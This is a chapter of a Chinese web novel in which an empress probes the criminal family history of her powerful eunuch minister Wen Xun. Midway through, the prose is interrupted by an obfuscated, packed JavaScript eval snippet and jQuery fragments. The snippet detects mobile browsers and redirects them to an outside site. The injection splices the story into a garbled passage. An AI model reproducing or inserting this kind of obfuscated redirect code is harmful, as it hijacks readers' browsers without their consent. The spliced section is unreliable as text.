34. 贼心不死

作品:《傀儡女帝她不想装了

    李希勾了勾唇角。


    温逊此时瞧着善解人意,但她若是当真,便是白活了两世。


    “自然只是要说这些。”她谨慎道,“我不愿无恪因今日之事同我生了罅隙。”


    温逊只觉心头被温热的泉水抚慰过,满心的乱麻都顺了、服帖了。


    他压着微微翘起的唇角,心内竟有一丝感动:


    “陛下为臣费心了。身为下臣本不应让陛下为臣这等琐屑劳心,臣深感有愧。臣……本应更体谅陛下。”怎能让她因为他一点情绪,还费心费力来解释劝哄。


    这实在是太不应该了。


    李希微愣,也没料到他会这样想,看上去也全然不似客套。


    她忽而意识到他是不是将自己放得太低了。身为身兼卫尉、中常侍,统领明党的武周侯,便是放在历代皇帝身上,位高至此的臣子也是得哄一哄的。


    见他垂着头好似又沉浸在自责中,李希忽而有些突兀地问道:


    “你从前是犯过什么大错吗?”否则是自何处来的如此强烈的不配得感?


    她这话一出却叫温逊一惊,抬眼茫然的看她,又似陡然想到什么一般面色乍白。


    李希正一瞬不瞬瞧着他,自然没错过这一丝剧烈的情绪。她还来不及再问,他已经猛地下拜道了一声告退,便起身落荒而逃般去了。


    李希怔怔地收回手。


    她怕不是说中了什么,他当真犯过大错?


    侍中余诃子去尚书台认过人后回来。


    “方才听侍人说,武周侯午前慌不择路地跑了。你恐吓他了吗?”她疑惑道。


    李希白了她一眼:


    “我多大的本事能恐吓得了他。”


    余诃子耸了耸肩:


    “反正你今日说要认他做干爹时他就挺奇怪的。”


    她一说就将李希又带入了早前的回忆了,想着想着面上竟爬上一抹奇异的笑。


    “你笑什么?”


    李希一惊,赶忙一吸腮帮子:


    “我笑了吗?你看错了。”


    余诃子盯了她半晌,总结道:


    “你也挺奇怪的。”


    李希松开可怜的腮帮子:


    “今日朝中可有议论的?”


    “自然,”余诃子笑道,“堂堂皇帝都认宦官做‘亚父’了。姚党一派气愤得很,说你昏庸懦弱,就不该让你亲政,说如今是汉灵帝认父(1)的耻辱重演。


    “倒是明党都遗憾得很,恨不得当时就冲上去替温逊答应了。”


    说着她又疑惑道:


    “不过大家都不明白为何温逊没答应。怎么会有宦官能拒绝皇帝认爹呢?他是不是戒过五石散?”


    她带着些怀疑地看看愉悦地喝着茶的李希:


    “你是不是早知他不会答应,否则要是真答应了,太皇太后得多生气呀!你又没想着要跟太皇太后闹崩。”


    李希放下茶盏,却没回答她的问题,反而道:


    “前段时日、你去送过温儒,我们在青州时欠他的俸禄可给过他母亲和妹妹了?”


    余诃子没明白话题为何转到了这处,但还是点了点头:


    “自然是给了,我还额外补了一些。她们都挺不容易的。”随即她又迷茫道,“我给她们钱时不知她们是不是慊少,看我的神情都有些古怪。我是不是应该再给她们加一些?”


    李希微微一笑:


    “你不是把近半年的俸禄都给过去了吗?当然,你若是愿意,自然可以。咱们宫里总缺不了你吃穿。”


    余诃子对此表示肯定。


    李希又道:


    “你可知当时在青州时温儒为何不领俸禄也不愿告假?”


    余诃子眨了眨眼:


    “这我一直没想明白,可能他闲不下来吧。”


    李希望着她的表情让她意识到些什么,又不大确定地问道:


    “不是吗?”


    李希却轻笑了下:


    “是,是这样的。”


    余诃子满意地得到答案。她果然始终没有意识到。


    因为温儒喜欢你呀,傻姑娘。


    李希却没再说下去。如今人已去了,而即便还活着,温儒也配不上她。这世上就没有人能配得上她的小盒子。


    “对了,”李希忽的吩咐道,“动用些眼线,查查温逊的生平。”


    在此之前,李希其实并未对温逊的过往有过好奇。作为帝王,她知道他入朝以来的行事作风便已足矣,但如今她总觉得此人的来历兴许能解释许多令她不解的事。


    余诃子点头应喏,一边拍了拍手。


    李希疑惑,偏头见殿外的侍人应声走了进来,与他们同行的还有两大车奏折。


    “陛下,”余诃子笑嘻嘻道,“这些都是您今日的公务……”


    余诃子伸手,手动合上她掉下来的下巴。


    “太皇太后近来都陪着汝南君,许多事都悬而未决。尚书台的意思是,陛下既已亲政,便请一并做决断。”


    “这是尚书台的意思?”她严重怀疑这些刁臣是在报复她要往尚书台补人。


    余诃子点了点头,却清了清嗓子补道:


    “也是你的侍中微臣的意思。”


    李希震惊地瞪大眼看她:


    “你站哪边的?”


    余诃子无情地微笑:


    “我是侍中,这些活儿你不干就得尚书台干。尚书台干不了就得我、干……那当然是你干了。我拿多少俸禄,你掌多大宫库啊。”


    “我……我的宫库都在少府手里,少府在温逊手里!我支钱还得找他要呢!除却宫中日常用度,我比你还穷!”


    余诃子不为所动,揣了揣手:


    “那我不管,我忙着呢,还得准备明年制科的尚书台遴选。”


    李希一噎。她还真不能占用“考生”的时间,就这样,压着满肚子腹诽,乖乖提起了御笔。


    ***


    查温逊过往花了些时日。期间姚婴在尹府得知了李希认亚父的事,当下便领悟她这是在报复她的施压,当即大怒。据说把尹宛的药渣子都摔了。


    后来接连几日,太皇太后离家出走,留在尹府不肯回宫。


    李希想着该得缓和缓和,去求见,却也被尹府的人婉言赶了出来,只得作罢。


    “好几日了,这当真无防吗?”余诃子皱眉问道。


    李希揣着手。


    “这样反倒无防,老人家闹闹脾气罢了。说说你查到了什么。”


    余诃子便禀报起来。


    “


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16568071|184013||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    关于武周侯温逊,满朝皆知的是他本是罪臣之子,因获罪时不满十岁而未被处斩,受宫刑后成了先武周侯席年的义子。”


    “我一直不解,他既是义子,席年又是宦官,他无须改姓随席年姓‘席’吗?”李希道。


    “主上这便问到了点上。”余诃子老神在在地道,“我推测正是因其父与席氏的渊源。”


    温氏一案在上一代也算一场大案,但自打温逊被席年收为义子以来,那一案被席年捂得很紧,以至于朝中皆不敢议论。时日一久无人提起,便也渐渐被遗忘。


    余诃子废了些功夫,总算查出了些前情。


    温逊的父亲温闾曾是旧朝老臣,时任太仓丞,辅佐太仓令掌领粮仓,官位不大不小,但却紧要。


    而席氏一族历代为当世大儒,家学底蕴深厚,历朝皆受皇室敬重,几乎代代皆为帝师。


    旧朝末年,席年与其父席明受命在京中分别任少傅与太傅。


    那时高祖与姚婴在豫州起事,而席氏出身豫州又与姚氏是世交。受此牵连,当局虽未对他们做什么,却已在暗中管束,更不许席氏子弟离京。


    那时,身为同僚的温闾不但看出席氏父子的确心向高祖,更已明白旧朝气数将尽。


    姚婴与高祖自豫州出兵连连得胜,末帝便愈加不安,终于按捺不住对席氏动手,只当杀鸡儆猴。


    拘捕席氏之日,温闾早一步得知消息,竟提前计划,将席氏子弟分别隐藏在粮车内送出了京城。


    等当局发觉人已不见,席氏早已换乘车马奔豫州而去。


    新朝之后,温闾凭借对席氏一族的救命之恩留任在了原官位,又凭后来经营升至了斡官令(2)。


    然而温闾在任上胃口越养越大,多年以来巧立名目暗中重重加税肆意敛财,迫使众多黎庶流离失所债高难偿,最终不得已卖身为虏。


    温闾见此还不愿收手,竟在暗中做起买卖人丁的勾当,与一众世族宗亲勾连。


    他太过肆意,终于在温逊九岁被姚婴注意到,因而败露落马。


    温闾出事时席年并未出手相救,但等到整个温氏已只剩幼子温逊,席年想来是念及旧时恩情,便将他护佑在羽翼之下,也并未要求他更名改姓。


    李希听后默了半晌。


    “温逊对此案、对席年是何态度?”


    “早年间似乎颇有怨怼。据说席年刚认下他时,他对席年态度并不好,似是也不相信温闾的罪责,一度四处奔走企图为父翻案。是在那数年之后才慢慢消停下来,对席年越加敬重,也不再提那段往事了。”


    李希闻言皱眉:


    “你料想,他后来的变化是真是假?”


    余诃子摇头说不知。


    李希沉吟了片刻,忽而提到:


    “前几日的折子里曾奏报,近日有世族族中虏仆生了骚乱,接连被打杀了数人。”


    余诃子一惊:


    “你是说……”


    “我也只是猜测。”她目光亮了亮,“二十年过去,他贼心不死也未可知。”


    余诃子也笑起来:


    “他若是在此时生事,对我们而言不是正正好?生事的是哪家的虏仆?”


    李希似笑非笑地答道:


    “京兆尹吴济家中。”